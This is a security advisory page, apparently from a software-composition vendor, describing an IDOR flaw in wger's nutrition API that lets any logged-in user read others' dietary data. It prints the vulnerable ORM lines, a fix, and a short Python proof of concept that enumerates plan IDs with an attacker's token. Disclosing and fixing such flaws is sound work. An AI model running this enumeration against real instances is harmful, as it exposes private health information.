GHSA-g8gc-6c4h-jg86 is a medium-severity (CVSS 4.3) CWE-639 vulnerability in wger. No vendor fix is recorded yet; mitigation options are listed below.
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-g8gc-6c4h-jg86.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-g8gc-6c4h-jg86 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wgerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk) # VULNERABLE
# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk) # VULNERABLE
The correct pattern used in the same file at LogItemViewSet (line 438):
LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT
Affected endpoints:
GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/
PoC
import requests
BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}
# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
r = requests.get(
f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
headers=headers
)
if r.status_code == 200:
data = r.json()
print(f"Plan {pk}: {data}")
# Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
# fat, fat_saturated, fiber, sodium
No interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data:
- Daily caloric intake
- Protein, carbohydrate, fat, fiber, and sodium intake
- Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | wger | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wger, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wger has shipped for GHSA-g8gc-6c4h-jg86 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-g8gc-6c4h-jg86 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-g8gc-6c4h-jg86. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-g8gc-6c4h-jg86 in your dependencies?
O3 Security finds GHSA-g8gc-6c4h-jg86 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.